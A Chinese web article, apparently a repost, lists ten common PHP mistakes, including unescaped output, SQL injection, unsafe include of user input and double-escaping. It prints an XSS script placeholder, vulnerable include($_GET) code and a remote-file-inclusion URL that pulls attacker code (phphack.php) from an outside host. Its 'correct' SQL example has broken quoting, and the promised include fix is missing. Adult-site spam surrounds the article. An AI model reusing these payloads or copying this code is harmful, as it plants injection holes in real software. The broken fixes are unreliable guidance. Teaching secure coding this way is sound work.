成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

PHP程序員最容易出現的錯誤總結

開發 后端
PHP程序員最容易出現的錯誤包括:不轉意html entities;不轉意SQL輸入;錯誤的使用HTTP-header 相關的函數;Require 或 include 的文件使用不安全的數據等等。
PHP程序員在實際操作時都會或多或少的犯一些錯誤,并且還是重復多次的犯同樣的錯誤,今天我們就來總結了10條PHP程序員最容易犯的錯誤,讓大家有一個改正參考。

#t#1.不轉意html entities

一個基本的常識:所有不可信任的輸入(特別是用戶從form中提交的數據) ,輸出之前都要轉意。

echo $_GET['usename'] ;

這個例子有可能輸出:

<script>/*更改admin密碼的腳本或設置cookie的腳本*/</script>

這是一個明顯的安全隱患,除非你保證你的用戶都正確的輸入。

如何修復 :

我們需要將"< ",">","and" 等轉換成正確的HTML表示(< , >', and "),函數htmlspecialchars 和 htmlentities()正是干這個活的。

正確的方法:

echo htmlspecialchars($_GET['username'], ENT_QUOTES);

2. 不轉意SQL輸入

我曾經在一篇文章中最簡單的防止sql注入的方法(php+mysql中)討論過這個問題并給出了一個簡單的方法 。有人對我說,他們已經在php.ini中將magic_quotes設置為On,所以不必擔心這個問題,但是不是所有的輸入都是從$_GET, $_POST或 $_COOKIE中的得到的!

如何修復:

和在最簡單的防止sql注入的方法(php+mysql中)中一樣我還是推薦使用mysql_real_escape_string()函數

正確做法:

  1. <?php 
  2. $sql = "UPDATE users SET  
  3. name='.mysql_real_escape_string($name).' 
  4. WHERE id='.mysql_real_escape_string ($id).'";  
  5. mysql_query($sql);  
  6. ?> 

3.錯誤的使用HTTP-header 相關的函數: header(), session_start(), setcookie()

遇到過這個警告嗎?"warning: Cannot add header information - headers already sent [....]

每次從服務器下載一個網頁的時候,服務器的輸出都分成兩個部分:頭部和正文。

頭部包含了一些非可視的數據,例如cookie。頭部總是先到達。正文部分包括可視的html,圖片等數據。

如果output_buffering設置為Off,所有的HTTP-header相關的函數必須在有輸出之前調用。問題在于你在一個環境中開發,而在部署到另一個環境中去的時候,output_buffering的設置可能不一樣。結果轉向停止了,cookie和session都沒有正確的設置........。

如何修復:

確保在輸出之前調用http-header相關的函數,并且令output_buffering = Off。

4. Require 或 include 的文件使用不安全的數據

再次強調:不要相信不是你自己顯式聲明的數據。不要 Include 或 require 從$_GET, $_POST 或 $_COOKIE 中得到的文件。

例如:

  1. index.php  
  2. <? 
  3. //including header, config, database connection, etc  
  4. include($_GET['filename']);  
  5. //including footer  
  6. ?> 

現在任一個黑客現在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt

來獲取你的機密信息,或執行一個PHP腳本。

如果allow_url_fopen=On,你更是死定了:

試試這個輸入:

http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php

現在你的網頁中包含了http://www.youaredoomed.com/phphack.php的輸出. 黑客可以發送垃圾郵件,改變密碼,刪除文件等等。只要你能想得到。

如何修復:

你必須自己控制哪些文件可以包含在的include或require指令中。

下面是一個快速但不全面的解決方法:

5. 語法錯誤

語法錯誤包括所有的詞法和語法錯誤,太常見了,以至于我不得不在這里列出。解決辦法就是認真學習PHP的語法,仔細一點不要漏掉一個括號,大括號,分號,引號。還有就是換個好的編輯器,就不要用記事本了!

6.很少使用或不用面向對象

很多的項目都沒有使用PHP的面向對象技術,結果就是代碼的維護變得非常耗時耗力。PHP支持的面向對象技術越來越多,越來越好,我們沒有理由不使用面向對象。

7. 不使用framework

95% 的PHP項目都在做同樣的四件事: Create, edit, list 和delete. 現在有很多MVC的框架來幫我們完成這四件事,我們為何不使用他們呢?

8. 不知道PHP中已經有的功能

PHP的核心包含很多功能。很多程序員重復的發明輪子。浪費了大量時間。編碼之前搜索一下PHP mamual,在google上檢索一下,也許會有新的發現!PHP中的exec()是一個強大的函數,可以執行cmd shell,并把執行結果的最后一行以字符串的形式返回。考慮到安全可以使用EscapeShellCmd()

9.使用舊版本的PHP

很多程序員還在使用PHP4,在PHP4上開發不能充分發揮PHP的潛能,還存在一些安全的隱患。轉到PHP5上來吧,并不費很多功夫。大部分PHP4程序只要改動很少的語句甚至無需改動就可以遷移到PHP5上來。根據http://www.nexen.net的調查 只有12%的PHP服務器使用PHP5,所以有88%的PHP開發者還在使用PHP4.

10.對引號做兩次轉意

見過網頁中出現\'或\'"嗎?這通常是因為在開發者的環境中magic_quotes 設置為off,而在部署的服務器上magic_quotes =on. PHP會在 GET, POST 和 COOKIE中的數據上重復運行addslashes() 。

原始文本:

  1. It's a string  
  2. magic quotes on :  
  3. It\'s a string  
  4. 又運行一次  
  5. addslashes():  
  6. It\\'s a string  
  7. HTML輸出:  
  8. It\'s a string 

還有一種PHP程序員最容易出現錯誤的情況就是,用戶一開始輸入了錯誤的登錄信息,服務器檢測到錯誤輸入后,輸出同樣的form要求用戶再次輸入,導致用戶的輸入轉意兩次!

責任編輯:曹凱 來源: 百度博客
相關推薦

2011-07-11 10:12:59

2011-05-31 15:19:17

2011-07-06 08:49:05

程序員

2018-05-07 08:45:43

編程ERPAI

2018-09-29 16:10:02

編程語言Java程序員

2016-03-25 11:57:23

Java程序員C++

2016-01-11 11:32:41

Java程序員錯誤

2021-03-15 08:15:16

程序員架構代碼

2013-11-01 17:24:39

程序員命名

2018-04-04 09:55:18

語言PHP易犯錯誤

2018-06-27 13:10:22

程序員面試易犯錯誤

2015-12-24 10:28:37

程序員面試技巧

2009-07-10 09:20:11

IT人才經驗談

2014-10-17 18:31:05

PHP

2015-07-13 11:32:09

PHP程序員正確姿勢

2015-08-03 09:33:21

PH程序員一生

2016-12-19 16:55:10

PHP程序員運維

2017-03-02 09:37:36

PHP程序員成長規劃

2013-06-17 11:01:49

程序員離職

2011-06-29 09:27:10

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 黑人精品欧美一区二区蜜桃 | 色中文在线| 神马福利 | 一级黄色片网址 | 青青草一区二区 | 欧美精品福利视频 | 国产精品视频一二三区 | 荷兰欧美一级毛片 | 日日干天天操 | 国产在线中文字幕 | 国产成人短视频在线观看 | 欧美精品黄 | 日韩一区二区在线播放 | 高清黄色网址 | 911精品美国片911久久久 | 自拍第1页| 欧美一区二区三区四区五区无卡码 | 国产成人在线视频播放 | 麻豆av片 | 国产欧美在线视频 | av国产精品| 久久综合久| 国产精品久久久久一区二区三区 | 可以在线观看av的网站 | 午夜视频免费网站 | 视频一区二区在线观看 | 欧美视频一区 | 精品国产乱码久久久久久牛牛 | 国产91九色 | 高清欧美性猛交xxxx黑人猛交 | 久久国产精品一区二区 | 亚洲人成在线播放 | 国产伦精品一区二区三区照片91 | 国产999精品久久久影片官网 | 午夜久久久久久久久久一区二区 | 毛片一级片 | 国产激情免费视频 | 欧美自拍视频 | 三级在线免费观看 | 自拍偷拍av| 真人女人一级毛片免费播放 |